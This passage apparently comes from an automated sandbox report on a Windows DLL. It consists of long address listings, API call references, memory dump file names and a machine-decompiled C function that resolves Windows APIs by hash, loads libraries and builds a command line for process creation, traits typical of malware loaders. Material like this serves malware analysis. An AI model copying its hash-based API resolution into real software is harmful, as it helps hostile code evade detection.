							_t246 =  *_t4;
						} while (_t246 != 0);
						goto L6;
					}
				}
				L186:
			}

0x6eff47b0
0x6eff47b0
0x6eff47b2
0x6eff47b5
0x6eff47bb
0x6eff47c9
0x6eff50e3
0x00000000
0x6eff47cf
0x6eff47d1
0x6eff47fe
0x6eff4803
0x6eff4809
0x6eff480d
0x6eff50ba
0x6eff50c5
0x6eff50cb
0x6eff50cb
0x6eff50ba
0x6eff4815
0x00000000
0x6eff481b
0x6eff4822
0x6eff482a
0x00000000
0x6eff482a
0x6eff47d3
0x6eff47d3
0x6eff47d3
0x6eff47d5
0x6eff47d7
0x6eff47e5
0x6eff47e6
0x6eff47ec
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6eff47ec
0x6eff50d2
0x6eff50d8
0x6eff482c
0x6eff482e
0x6eff48fc
0x6eff4903
0x6eff4834
0x6eff4838
0x6eff4839
0x6eff483b
0x6eff4841
0x6eff504d
0x6eff5054
0x6eff507a
0x6eff507c
0x00000000
0x6eff507e
0x6eff507e
0x6eff507f
0x6eff507f
0x6eff5056
0x6eff505b
0x6eff5061
0x6eff5065
0x6eff509d
0x6eff50a4
0x6eff50aa
0x6eff50aa
0x6eff509d
0x6eff5069
0x6eff508d
0x6eff5082
0x00000000
0x6eff5088
0x00000000
0x6eff5088
0x6eff506b
0x6eff5072
0x6eff5075
0x00000000
0x6eff5075
0x6eff5069
0x6eff4847
0x6eff4847
0x6eff484b
0x6eff4851
0x6eff4855
0x6eff485a
0x6eff4868
0x6eff5038
0x00000000
0x6eff486e
0x6eff4870
0x6eff489d
0x6eff48a2
0x6eff48a8
0x6eff48ac
0x6eff500f
0x6eff501a
0x6eff5020
0x6eff5020
0x6eff500f
0x6eff48b4
0x00000000
0x6eff48b6
0x6eff48bd
0x6eff48c5
0x00000000
0x6eff48c5
0x6eff4872
0x6eff4872
0x6eff4872
0x6eff4874
0x6eff4876
0x6eff4884
0x6eff4885
0x6eff488b
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6eff488b
0x6eff5027
0x6eff502d
0x6eff48c7
0x6eff48c9
0x6eff48e4
0x6eff48e4
0x6eff48ea
0x6eff4904
0x6eff4909
0x6eff490e
0x6eff491a
0x6eff4f51
0x00000000
0x6eff4920
0x6eff4922
0x6eff494f
0x6eff4954
0x6eff495a
0x6eff495e
0x6eff4f28
0x6eff4f33
0x6eff4f39
0x6eff4f39
0x6eff4f28
0x6eff4966
0x00000000
0x6eff4968
0x6eff496f
0x6eff4977
0x00000000
0x6eff4977
0x6eff4924
0x6eff4924
0x6eff4924
0x6eff4926
0x6eff4928
0x6eff4936
0x6eff4937
0x6eff493d
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6eff493d
0x6eff4f40
0x6eff4f46
0x6eff4979
0x6eff497b
0x6eff49a3
0x6eff49c1
0x6eff49c5
0x6eff4e71
0x6eff4e7d
0x6eff4f10
0x00000000
0x6eff4e83
0x6eff4e85
0x6eff4eae
0x6eff4eb3
0x6eff4eb9
0x6eff4ebd
0x6eff4ef5
0x6eff4efc
0x6eff4f02
0x6eff4f02
0x6eff4ef5
0x6eff4ec1
0x00000000
0x6eff4ec3
0x6eff4eca
0x6eff4ecd
0x00000000
0x6eff4ecd
0x6eff4e87
0x6eff4e87
0x6eff4e87
0x6eff4e89
0x6eff4e8b
0x6eff4e95
0x6eff4e96
0x6eff4e9c
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6eff4e9c
0x6eff4f06
0x6eff4f0c
0x6eff4ed2
0x6eff4ed4
0x6eff4ee5
0x6eff4eda
0x00000000
0x6eff4ee0
0x00000000
0x6eff4ee0
0x6eff4ed6
0x6eff4ed6
0x6eff4ed7
0x6eff4ed7
0x6eff4f0e
0x00000000
0x6eff4f0e
0x00000000
0x6eff4e9e
0x6eff4e9e
0x6eff4ea4
0x6eff4ea4
0x6eff4eaa
0x00000000
0x6eff4e87
0x6eff4e85
0x6eff49cb
0x6eff49cb
0x6eff49d6
0x6eff49df
0x6eff49e4
0x6eff49e9
0x6eff49ef
0x6eff49f7
0x6eff4a01
0x6eff4e62
0x00000000
0x6eff4a07
0x6eff4a09
0x6eff4a36
0x6eff4a3b
0x6eff4a41
0x6eff4a45
0x6eff4e39
0x6eff4e44
0x6eff4e4a
0x6eff4e4a
0x6eff4e39
0x6eff4a4d
0x00000000
0x6eff4a53
0x6eff4a5a
0x6eff4a62
0x00000000
0x6eff4a62
0x6eff4a0b
0x6eff4a0b
0x6eff4a0b
0x6eff4a0d
0x6eff4a0f
0x6eff4a1d
0x6eff4a1e
0x6eff4a24
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6eff4a24
0x6eff4e51
0x6eff4e57
0x6eff4a64
0x6eff4a66
0x6eff4bef
0x6eff4bf2
0x6eff4bfc
0x6eff4c02
0x6eff4c02
0x6eff4c0e
0x6eff4a6c
0x6eff4a76
0x6eff4a77
0x6eff4a78
0x6eff4a79
0x6eff4a7a
0x6eff4a7b
0x6eff4a7c
0x6eff4a7d
0x6eff4a82
0x6eff4a84
0x6eff4a86
0x6eff4a8b
0x6eff4d80
0x6eff4d8c
0x6eff4e21
0x00000000
0x6eff4d92
0x6eff4d94
0x6eff4dbf
0x6eff4dc4
0x6eff4dca
0x6eff4dce
0x6eff4e06
0x6eff4e0d
0x6eff4e13
0x6eff4e13
0x6eff4e06
0x6eff4dd2
0x00000000
0x6eff4dd4
0x6eff4ddb
0x6eff4dde
0x00000000
0x6eff4dde
0x6eff4d96
0x6eff4d98
0x6eff4d98
0x6eff4d9a
0x6eff4d9c
0x6eff4da6
0x6eff4da7
0x6eff4dad
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6eff4dad
0x6eff4e17
0x6eff4e1d
0x6eff4de3
0x6eff4de5
0x6eff4df6
0x6eff4deb
0x00000000
0x6eff4df1
0x00000000
0x6eff4df1
0x6eff4de7
0x6eff4de7
0x6eff4de8
0x6eff4de8
0x6eff4e1f
0x00000000
0x6eff4e1f
0x00000000
0x6eff4daf
0x6eff4daf
0x6eff4db5
0x6eff4db5
0x6eff4dbb
0x00000000
0x6eff4d98
0x6eff4d94
0x6eff4a91
0x6eff4a91
0x6eff4a91
0x6eff4a99
0x6eff4b47
0x6eff4b49
0x6eff4b54
0x6eff4b50
0x6eff4b50
0x6eff4b50
0x6eff4b5b
0x6eff4bcf
0x6eff4bd2
0x6eff4bdc
0x6eff4be2
0x6eff4be2
0x6eff4bee
0x6eff4b5d
0x6eff4b5d
0x6eff4b69
0x6eff4d2d
0x00000000
0x6eff4b6f
0x6eff4b71
0x6eff4ba0
0x6eff4ba5
0x6eff4bab
0x6eff4baf
0x6eff4d04
0x6eff4d0f
0x6eff4d15
0x6eff4d15
0x6eff4d04
0x6eff4bb7
0x00000000
0x6eff4bb9
0x6eff4bc0
0x6eff4bc3
0x00000000
0x6eff4bc3
0x6eff4b73
0x6eff4b75
0x6eff4b75
0x6eff4b77
0x6eff4b79
0x6eff4b87
0x6eff4b88
0x6eff4b8e
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6eff4b8e
0x6eff4d1c
0x6eff4d22
0x6eff4bc8
0x6eff4bca
0x00000000
0x6eff4bcc
0x6eff4bcc
0x6eff4bcd
0x6eff4bce
0x6eff4bce
0x6eff4d28
0x00000000
0x6eff4d28
0x00000000
0x6eff4b90
0x6eff4b90
0x6eff4b96
0x6eff4b96
0x6eff4b9c
0x00000000
0x6eff4b75
0x6eff4b71
0x6eff4b69
0x6eff4a9f
0x6eff4aa1
0x6eff4aa5
0x6eff4aa9
0x6eff4aab
0x6eff4aaf
0x6eff4ab1
0x6eff4ab1
0x6eff4abd
0x6eff4d71
0x00000000
0x6eff4ac3
0x6eff4ac5
0x6eff4af4
0x6eff4af9
0x6eff4aff
0x6eff4b03
0x6eff4d48
0x6eff4d53
0x6eff4d59
0x6eff4d59
0x6eff4d48
0x6eff4b0b
0x00000000
0x6eff4b0d
0x6eff4b14
0x6eff4b17
0x00000000
0x6eff4b17
0x6eff4ac7
0x6eff4ac9
0x6eff4ac9
0x6eff4acb
0x6eff4acd
0x6eff4adb
0x6eff4adc
0x6eff4ae2
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6eff4ae2
0x6eff4d60
0x6eff4d66
0x6eff4b1c
0x6eff4b1e
0x00000000
0x6eff4b20
0x6eff4b20
0x6eff4b24
0x6eff4b28
0x6eff4b29
0x6eff4b29
0x6eff4d6c
0x00000000
0x6eff4d6c
0x00000000
0x6eff4ae4
0x6eff4ae4
0x6eff4aea
0x6eff4aea
0x6eff4af0
0x00000000
0x6eff4ac9
0x6eff4ac5
0x00000000
0x6eff4b32
0x6eff4b32
0x6eff4b33
0x6eff4b3b
0x6eff4b3f
0x00000000
0x6eff4b43
0x6eff4a99
0x6eff4a8b
0x6eff4e5d
0x00000000
0x6eff4e5d
0x00000000
0x6eff4a26
0x6eff4a26
0x6eff4a2c
0x6eff4a2c
0x6eff4a32
0x00000000
0x6eff4a0b
0x6eff4a09
0x6eff4a01
0x6eff497d
0x6eff497d
0x6eff4980
0x6eff498a
0x6eff4990
0x6eff4990
0x6eff499c
0x6eff499c
0x6eff4f4c
0x00000000
0x6eff4f4c
0x00000000
0x6eff493f
0x6eff493f
0x6eff4945
0x6eff4945
0x6eff494b
0x00000000
0x6eff4924
0x6eff4922
0x6eff48ec
0x6eff48f1
0x6eff48f7
0x6eff48f7
0x00000000
0x6eff48f1
0x6eff48cb
0x6eff48da
0x6eff48de
0x6eff4f60
0x6eff4f6c
0x6eff4fda
0x00000000
0x6eff4f6e
0x6eff4f70
0x6eff4f99
0x6eff4f9e
0x6eff4fa4
0x6eff4fa8
0x6eff4ff2
0x6eff4ff9
0x6eff4fff
0x6eff4fff
0x6eff4ff2
0x6eff4fac
0x00000000
0x6eff4fb2
0x6eff4fb9
0x6eff4fbc
0x00000000
0x6eff4fbc
0x6eff4f72
0x6eff4f72
0x6eff4f72
0x6eff4f74
0x6eff4f76
0x6eff4f80
0x6eff4f81
0x6eff4f87
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6eff4f87
0x6eff4fd0
0x6eff4fd6
0x6eff4fc1
0x6eff4fc3
0x00000000
0x6eff4fc9
0x6eff4fc9
0x6eff4fca
0x6eff4fca
0x6eff4fd8
0x00000000
0x6eff4fd8
0x00000000
0x6eff4f89
0x6eff4f89
0x6eff4f8f
0x6eff4f8f
0x6eff4f95
0x00000000
0x6eff4f72
0x6eff4f70
0x00000000
0x00000000
0x00000000
0x6eff48de
0x6eff5033
0x00000000
0x6eff5033
0x00000000
0x6eff488d
0x6eff488d
0x6eff4893
0x6eff4893
0x6eff4899
0x00000000
0x6eff4872
0x6eff4870
0x6eff4868
0x6eff4841
0x6eff50de
0x00000000
0x6eff50de
0x00000000
0x6eff47ee
0x6eff47ee
0x6eff47f4
0x6eff47f4
0x6eff47fa
0x00000000
0x6eff47d3
0x6eff47d1
0x00000000

APIs

GetTokenInformation.KERNELBASE(?,00000002,00000000,00000000,?), ref: 6EFF48DA
GetTokenInformation.KERNELBASE(?,00000002,00000000,00000000,?,00000000), ref: 6EFF49C1

Memory Dump Source

Source File: 00000000.00000002.888568308.000000006EFE1000.00000020.00020000.sdmp, Offset: 6EFE0000, based on PE: true

Associated: 00000000.00000002.888087050.000000006EFE0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.894194867.000000006F015000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.895199607.000000006F01B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.895701456.000000006F01C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: InformationToken
String ID:
API String ID: 4114910276-0
Opcode ID: 2fa64eb4e65c61feed6c37c2de5640bf3cdb2c907643881c742c9cc935a6b2af
Instruction ID: c464bc5ab1738c5cc4331ef70316b24af9239b6f8b6eeef51a03f42249fda5bb
Opcode Fuzzy Hash: 2fa64eb4e65c61feed6c37c2de5640bf3cdb2c907643881c742c9cc935a6b2af
Instruction Fuzzy Hash: 3A121631714303CBEB44DEE98AF076A72996B81608F148A7ED565CB3B6EF34C947C291

Uniqueness

Uniqueness Score: -1.00%

Function 6EFE543B, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 91
libraryCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E6EFE543B() {
				signed int _t131;
				void* _t134;
				signed int _t142;
				signed int _t152;
				signed int _t153;
				signed int _t154;
				signed int _t155;
				signed int _t160;
				signed int _t161;
				signed int _t162;
				signed int _t163;
				signed int _t170;
				intOrPtr _t171;
				intOrPtr* _t175;
				void* _t190;
				void* _t200;
				intOrPtr _t203;
				signed int _t213;
				signed int _t217;
				void* _t232;
				intOrPtr* _t233;
				signed int _t236;
				unsigned int _t240;
				intOrPtr _t243;
				signed short* _t244;
				signed int _t247;
				void* _t265;
				void* _t273;
				signed int _t276;
				signed int _t277;
				signed int _t280;
				signed int _t281;
				intOrPtr* _t325;
				intOrPtr* _t333;
				signed int _t348;
				signed int _t350;
				signed int _t353;
				intOrPtr* _t385;
				void* _t400;
				signed int _t401;
				void* _t406;
				signed int _t407;
				intOrPtr* _t410;
				void* _t413;
				intOrPtr* _t416;

				asm("outsd");
				_t410 = E6EFF3930(_t273, 0, _t400, _t404);
				if( *_t410 < 0x10) {
					L6EFE5150();
				}
				E6EFE6020(_t273);
				E6EFF8810(_t416 + 0x114, 0x200);
				_t385 = E6EFF15C0(0xa1310f65, 0xc4d11e8a);
				if(_t385 != 0) {
					 *_t385(0,  *(_t416 + 0x114),  *(_t416 + 0x114) >> 1);
				}
				E6EFF2580(_t416 + 0x118, _t400, _t404);
				if(E6EFF9C70(_t416 + 0x114, _t400,  *((intOrPtr*)(_t416 + 0x118))) == 0) {
					E6EFF2780(_t416 + 0xe4, _t400, _t404);
					_t131 = E6EFF9C70(_t416 + 0x114, _t400,  *((intOrPtr*)(_t416 + 0xe4)));
					__eflags = _t131;
					if(_t131 == 0) {
						E6EFF2580(_t416 + 0xb4, _t400, _t404);
						_t404 = _t416 + 0x98;
						E6EFFD980(_t416 + 0xbc, _t416 + 0x98, 0x5c);
						_t134 = E6F007600(_t416 + 0x98, 2);
						E6EFEAC00(_t416 + 0xbc, 6);
						E6EFF8CC0(_t134,  *((intOrPtr*)(_t416 + 0xbc)));
						E6EFF8CA0(_t416 + 0xbc);
						E6F0089F0(_t404, _t416 + 0x124, 0x5c);
						E6F008910(_t404, _t400, _t404);
						E6EFF8CA0(_t416 + 0xb4);
						_t142 = E6EFF9C70(_t416 + 0x114, _t400,  *((intOrPtr*)(_t416 + 0x120)));
						__eflags = _t142;
						_t23 = _t142 > 0;
						__eflags = _t23;
						_t276 = 0 | _t23;
						E6EFF8CA0(_t416 + 0x120);
					} else {
						_t276 = 1;
					}
					E6EFF8CA0(_t416 + 0xe4);
					E6EFF8CA0(_t416 + 0x118);
					__eflags = _t276;
					if(_t276 == 0) {
						_t277 = 0;
						__eflags = 0;
					} else {
						goto L11;
					}
				} else {
					E6EFF8CA0(_t416 + 0x118);
					L11:
					_t277 = 1;
				}
				E6EFEAC00(_t416 + 0x120, 2);
				E6EFFD980(_t416 + 0x128, _t416 + 0x130, 0x7e);
				E6EFF8CA0(_t416 + 0x120);
				if( *(_t416 + 0x130) > 0) {
					 *_t416 = _t410;
					_t401 = _t416 + 0x130;
					L15:
					while(1) {
						L15:
						while(1) {
							L15:
							if(E6EFF15C0(0xa1310f65, 0xf3af54a7) != 0) {
								LoadLibraryW( *(E6F007600(_t401, _t404))); // executed
							}
							_t265 =  *(_t416 + 0x130);
							while(1) {
								_t404 = 1;
								if(1 >= _t265) {
									break;
								}
								if(1 != 4) {
									goto L15;
								} else {
									_t388 =  *0x6f01b02a & 0x000000ff;
									if(( *0x6f01b02a & 0x000000ff) == 2) {
										continue;
									} else {
										goto L15;
									}
								}
								goto L23;
							}
							_t410 =  *_t416;
							goto L23;
						}
					}
				}
				L23:
				__eflags =  *((intOrPtr*)(_t410 + 0x2c)) - 2;
				if( *((intOrPtr*)(_t410 + 0x2c)) != 2) {
					__eflags =  *0x6f01b028 & 0x000000ff;
					if(( *0x6f01b028 & 0x000000ff) == 0) {
						__eflags =  *0x6f01b265 & 0x000000ff;
						if(( *0x6f01b265 & 0x000000ff) == 0) {
							__eflags =  *0x6f01b1cc - 1;
							if( *0x6f01b1cc != 1) {
								_t243 =  *0x6f01b1d0; // 0x1569798
								_t38 = _t243 + 4; // 0x15697c0
								_t244 =  *_t38;
								_t388 =  *_t244 & 0x0000ffff;
								__eflags = ( *_t244 & 0x0000ffff) - 0x2d;
								if(( *_t244 & 0x0000ffff) != 0x2d) {
									E6EFF8AB0(_t416 + 0xcc, _t244, 0);
									_push(0x80);
									_push(0);
									E6F00A4E0(_t416 + 0x68, __eflags,  *((intOrPtr*)(_t416 + 0xd0)), 1);
									_t247 = E6F00BEA0(_t416 + 0x64, _t388, _t404);
									__eflags = _t247;
									if(_t247 == 0) {
										__eflags =  *((char*)(_t416 + 0x68));
										if( *((char*)(_t416 + 0x68)) != 0) {
											E6F00BE30(_t416 + 0x64, _t404);
										}
										E6EFF8CA0(_t416 + 0x58);
										_t407 = 0;
										__eflags = 0;
										while(1) {
											__eflags = E6F00A730(_t416 + 0xc4, _t388);
											if(__eflags == 0) {
												break;
											}
											E6EFF22A0(0x64, _t388);
											_t407 = _t407 + 1;
											__eflags = _t407 - 0x64;
											if(__eflags < 0) {
												continue;
											}
											break;
										}
										_t404 = _t416 + 0xcc;
										do {
											E6EFFAE80(_t416 + 0xcc, __eflags, _t404, 0x5c);
											E6EFF8CC0(_t416 + 0xc8,  *(_t416 + 0xcc));
											E6EFF8CA0(_t404);
											__eflags = E6F00A730(_t416 + 0xc4, _t388);
										} while (__eflags == 0);
									} else {
										__eflags =  *((char*)(_t416 + 0x68));
										if( *((char*)(_t416 + 0x68)) != 0) {
											E6F00BE30(_t416 + 0x64, _t404);
										}
										E6EFF8CA0(_t416 + 0x58);
									}
									E6EFF8CA0(_t416 + 0xc4);
								}
							}
						}
					}
					__eflags = ( *0x6f01b02a & 0x000000ff) - 2;
					if(( *0x6f01b02a & 0x000000ff) == 2) {
						L52:
						_t152 =  *0x6f01b1ad; // 0x14a1f88
						__eflags = _t152;
						if(_t152 == 0) {
							L54:
							_t153 =  *0x6f01b1ad; // 0x14a1f88
							__eflags = _t153;
							if(_t153 == 0) {
								_push(0x10);
								_t154 = E6EFF1030();
								_t416 = _t416 + 4;
								__eflags = _t154;
								if(_t154 != 0) {
									_push(0);
									_t155 = E6F009350(_t154);
								} else {
									_t155 = 0;
								}
								 *0x6f01b1ad = _t155;
							}
							_t404 =  *0x6f01b1ad; // 0x14a1f88
							__eflags = ( *0x6f01b02a & 0x000000ff) - 1;
							if(( *0x6f01b02a & 0x000000ff) == 1) {
								_t388 = 0x18f8c844;
								_t401 = _t416 + 0x28;
								E6EFE6AD0(_t277, _t401, 0x18f8c844, _t401, _t404, 1, 0);
								_push(_t401);
								E6F009520(_t404);
								E6F009510(_t401);
							} else {
								E6F009710(_t404, 0x6f01b02d,  *0x6f01b02b & 0x0000ffff);
							}
						} else {
							_t350 =  *0x6f01b1ad; // 0x14a1f88
							_t217 = E6F009660(_t350);
							__eflags = _t217;
							if(_t217 != 0) {
								goto L54;
							}
						}
						_t160 =  *0x6f01b1b1; // 0x0
						__eflags = _t160;
						if(_t160 == 0) {
							L60:
							_t161 =  *0x6f01b1b1; // 0x0
							__eflags = _t161;
							if(_t161 == 0) {
								_push(0x10);
								_t162 = E6EFF1030();
								_t416 = _t416 + 4;
								__eflags = _t162;
								if(_t162 != 0) {
									_push(0);
									_t163 = E6F009350(_t162);
								} else {
									_t163 = 0;
								}
								 *0x6f01b1b1 = _t163;
							}
							_t401 =  *0x6f01b1b1; // 0x0
							__eflags = ( *0x6f01b02a & 0x000000ff) - 1;
							if(( *0x6f01b02a & 0x000000ff) == 1) {
								_t388 = 0x11041f01;
								E6EFE6AD0(_t277, _t416 + 0x38, 0x11041f01, _t401, _t404, 1, 1);
								_push(_t416 + 0x38);
								E6F009520(_t401);
								E6F009510(_t416 + 0x38);
								_t170 = E6F009650(_t401);
								__eflags = _t170;
								if(_t170 != 0) {
									_t388 = 0xd3ef7577;
									E6EFE6AD0(_t277, _t416 + 8, 0xd3ef7577, _t401, _t404, 0, 0);
									E6F009510(_t416);
								}
							} else {
								_t404 =  *0x6f01b1c4; // 0x6efe0000
								__eflags =  *((char*)(E6EFF3930(_t277, 0, _t401, _t404) + 0xb)) - 0x20;
								_t397 =  ==  ? 0x7e839a6 : 0x93fc68d6;
								_t388 = _t404;
								E6EFE9090(_t416 + 0x88, _t404,  ==  ? 0x7e839a6 : 0x93fc68d6);
								_push(_t416 + 0x88);
								E6F009520(_t401);
								E6F009510(_t416 + 0x88);
							}
						} else {
							_t348 =  *0x6f01b1b1; // 0x0
							_t213 = E6F009660(_t348);
							__eflags = _t213;
							if(_t213 != 0) {
								goto L60;
							}
						}
						_t171 =  *((intOrPtr*)(_t410 + 0x2c));
						__eflags = _t171 - 3;
						if(_t171 == 3) {
							__eflags =  *0x6f01b1cc - 3;
							if( *0x6f01b1cc == 3) {
								E6EFF8CC0(_t416 + 0x10c,  *((intOrPtr*)( *0x6f01b1d0 + 8)));
							}
							_t278 = _t416 + 0x48;
							E6EFF8810(_t416 + 0x48, 0);
							_t175 = E6EFF9890(_t278, _t416 + 0x48, _t388, _t401, _t404, _t278, 0x6f019428,  *((intOrPtr*)(_t410 + 0x2c)));
							E6F000220(_t416 + 0x110,  *_t175, 0);
							E6EFF8CA0(_t278);
							L6EFE8180(_t404);
						} else {
							__eflags = _t171 - 5;
							if(_t171 != 5) {
								__eflags = _t171 - 6;
								if(__eflags == 0) {
									_t325 = _t416 + 0xa4;
									 *_t325 = 0;
									 *((intOrPtr*)(_t325 + 4)) = 0;
									 *((intOrPtr*)(_t325 + 8)) = 0;
									 *((intOrPtr*)(_t325 + 0xc)) = 0;
									E6EFF5B60(_t277, _t325, _t401, _t404, __eflags);
									E6EFE6740(_t416 + 0xa4);
									E6EFF1350(0x12);
									__eflags =  *(_t416 + 0xa8);
									if( *(_t416 + 0xa8) > 0) {
										_t280 = 0;
										__eflags = 0;
										do {
											_t190 = E6F012B00(_t416 + 0xa8, _t280);
											__eflags =  *((char*)(_t190 + 0x3c));
											if( *((char*)(_t190 + 0x3c)) == 0) {
												E6EFE2A40(_t416 + 0x50, _t190);
												E6EFF8CA0(_t416 + 0x50);
											}
											_t280 = _t280 + 1;
											__eflags = _t280 -  *(_t416 + 0xa8);
										} while (_t280 <  *(_t416 + 0xa8));
									}
									E6F012970(_t277, _t416 + 0xa4, _t401);
									_t329 =  *(_t416 + 0xb0);
									__eflags =  *(_t416 + 0xb0);
									if( *(_t416 + 0xb0) != 0) {
										E6EFE2A20(_t329, 1);
									}
								}
							} else {
								__eflags = _t277;
								if(_t277 == 0) {
									__eflags =  *0x6f01b1cc - 1;
									if(__eflags <= 0) {
										L69:
										_t333 = _t416 + 0x18;
										 *_t333 = 0;
										 *((intOrPtr*)(_t333 + 4)) = 0;
										 *((intOrPtr*)(_t333 + 8)) = 0;
										 *((intOrPtr*)(_t333 + 0xc)) = 0;
										E6EFF5B60(_t277, _t333, _t401, _t404, __eflags);
										__eflags = ( *0x6f01b029 & 0x000000ff) - 1;
										E6EFE7DB0(_t416 + 0x18, 0 | ( *0x6f01b029 & 0x000000ff) - 0x00000001 > 0x00000000);
										__eflags =  *0x6f01b029 & 0x000000ff;
										if(( *0x6f01b029 & 0x000000ff) != 0) {
											E6EFF1350(0x12);
											__eflags =  *(_t416 + 0x1c);
											if( *(_t416 + 0x1c) > 0) {
												_t281 = 0;
												__eflags = 0;
												do {
													_t200 = E6F012B00(_t416 + 0x1c, _t281);
													__eflags =  *((char*)(_t200 + 0x3c));
													if( *((char*)(_t200 + 0x3c)) == 0) {
														E6EFE2A40(_t416 + 0x10, _t200);
														E6EFF8CA0(_t416 + 0x10);
													}
													_t281 = _t281 + 1;
													__eflags = _t281 -  *(_t416 + 0x1c);
												} while (_t281 <  *(_t416 + 0x1c));
											}
										}
										E6F012970(_t277, _t416 + 0x18, _t401);
										_t336 =  *(_t416 + 0x24);
										__eflags =  *(_t416 + 0x24);
										if( *(_t416 + 0x24) != 0) {
											E6EFE2A20(_t336, 1);
										}
									} else {
										_t203 =  *0x6f01b1d0; // 0x1569798
										_t81 = _t203 + 4; // 0x15697c0
										__eflags = ( *( *_t81) & 0x0000ffff) - 0x2d;
										if(__eflags != 0) {
											goto L69;
										}
									}
								}
							}
						}
						E6F008910(_t416 + 0x130, _t401, _t404);
						E6EFF8CA0(_t416 + 0x110);
						E6EFF8CA0(_t416 + 0x108);
						E6EFF7A70(_t416 + 0x128);
						__eflags = 0;
						return 0;
					} else {
						__eflags =  *0x6f01b027 & 0x000000ff;
						if(( *0x6f01b027 & 0x000000ff) == 0) {
							goto L52;
						} else {
							__eflags = _t277;
							if(_t277 != 0) {
								goto L52;
							} else {
								__eflags =  *((char*)(_t410 + 0xb)) - 0x20;
								_t399 =  ==  ? 0x7fe7dfa2 : 0xfd81b916;
								E6EFE61B0(_t416 + 0x3c,  ==  ? 0x7fe7dfa2 : 0xfd81b916,  *((char*)(_t410 + 0xb)) - 0x20);
								E6EFF8810(_t416 + 0x18, 0x200);
								_t353 = E6EFF15C0(0xa1310f65, 0xc4d11e8a);
								__eflags = _t353;
								if(__eflags != 0) {
									_t240 =  *(_t416 + 0x18) >> 1;
									__eflags = _t240;
									_t399 =  *0x6f01b1c4; // 0x6efe0000
									 *_t353(_t399,  *(_t416 + 0x18), _t240);
								}
								_push(0x80);
								_push(0);
								E6F00A4E0(_t416 + 0x10, __eflags,  *((intOrPtr*)(_t416 + 0x20)), 1);
								E6F00A520(_t416 + 8, _t399, _t416 + 0x1c, 0);
								__eflags =  *((char*)(_t416 + 0x10));
								if( *((char*)(_t416 + 0x10)) != 0) {
									E6F00BE30(_t416 + 0xc, _t404);
								}
								__eflags = 0;
								E6EFF8CA0(_t416);
								_t406 = _t416 + 0x1a0;
								_t413 = _t416 + 0x2c;
								while(1) {
									E6EFF0B70(_t406, 0, 0x44);
									 *((intOrPtr*)(_t416 + 0x1ac)) = 0x44;
									E6EFF0B70(_t413, 0, 0x10);
									_t416 = _t416 + 0x18;
									E6EFF8810(_t416 + 0x4c, 0);
									_t232 = E6EFF96D0(E6EFF96D0(E6F000220(_t416 + 0x50,  *((intOrPtr*)(_t416 + 0x40)), 0), 0x20), 0x22);
									_t233 =  *0x6f01b1d0; // 0x1569798
									E6EFF96D0(E6F000220(_t232,  *_t233, 0), 0x22);
									_t236 = E6EFF15C0(0xa1310f65, 0x643f303c);
									__eflags = _t236;
									if(_t236 != 0) {
										break;
									}
									E6EFF8CA0(_t416 + 0x48);
								}
								_push(_t413);
								_push(_t406);
								_push(0);
								_push(0);
								_push(4);
								_push(0);
								_push(0);
								_push(0);
								_push( *((intOrPtr*)(_t416 + 0x68)));
								_push( *((intOrPtr*)(_t416 + 0x60)));
								asm("int3");
								return _t236;
							}
						}
					}
				} else {
					E6F008910(_t416 + 0x130, _t400, _t404);
					E6EFF8CA0(_t416 + 0x110);
					E6EFF8CA0(_t416 + 0x108);
					E6EFF7A70(_t416 + 0x128);
					__eflags = 0;
					return 0;
				}
			}

0x6efe543d
0x6efe5451
0x6efe5457
0x6efe5459
0x6efe5459
0x6efe545e
0x6efe546f
0x6efe5483
0x6efe5487
0x6efe549c
0x6efe549c
0x6efe54a5
0x6efe54bf
0x6efe54d9
0x6efe54ec
0x6efe54f1
0x6efe54f3
0x6efe5506
0x6efe550b
0x6efe551c
0x6efe5525
0x6efe5538
0x6efe5546
0x6efe5552
0x6efe5563
0x6efe556a
0x6efe5576
0x6efe5589
0x6efe5590
0x6efe5599
0x6efe5599
0x6efe5599
0x6efe559c
0x6efe54f5
0x6efe54f5
0x6efe54f5
0x6efe55a8
0x6efe55b4
0x6efe55b9
0x6efe55bb
0x6efe55c4
0x6efe55c4
0x00000000
0x00000000
0x00000000
0x6efe54c1
0x6efe54c8
0x6efe55bd
0x6efe55bd
0x6efe55bd
0x6efe55d2
0x6efe55e8
0x6efe55f4
0x6efe5601
0x6efe5603
0x6efe5608
0x00000000
0x6efe560f
0x00000000
0x6efe560f
0x6efe560f
0x6efe5622
0x6efe562e
0x6efe562e
0x6efe5630
0x6efe5637
0x6efe5637
0x6efe563a
0x00000000
0x00000000
0x6efe563f
0x00000000
0x6efe5641
0x6efe5641
0x6efe564b
0x00000000
0x6efe564d
0x00000000
0x6efe564d
0x6efe564b
0x00000000
0x6efe563f
0x6efe564f
0x00000000
0x6efe564f
0x6efe560f
0x6efe560f
0x6efe5652
0x6efe5652
0x6efe5656
0x6efe569c
0x6efe569e
0x6efe56ab
0x6efe56ad
0x6efe56b3
0x6efe56ba
0x6efe56c0
0x6efe56c5
0x6efe56c5
0x6efe56c8
0x6efe56cb
0x6efe56ce
0x6efe56de
0x6efe56e3
0x6efe56e8
0x6efe56f7
0x6efe5700
0x6efe5705
0x6efe5707
0x6efe5724
0x6efe5729
0x6efe572f
0x6efe572f
0x6efe5738
0x6efe573d
0x6efe573d
0x6efe573f
0x6efe574b
0x6efe574d
0x00000000
0x00000000
0x6efe5754
0x6efe5759
0x6efe575a
0x6efe575d
0x00000000
0x00000000
0x00000000
0x6efe575d
0x6efe575f
0x6efe5766
0x6efe5770
0x6efe5783
0x6efe578a
0x6efe579b
0x6efe579b
0x6efe5709
0x6efe5709
0x6efe570e
0x6efe5714
0x6efe5714
0x6efe571d
0x6efe571d
0x6efe57a6
0x6efe57a6
0x6efe56ce
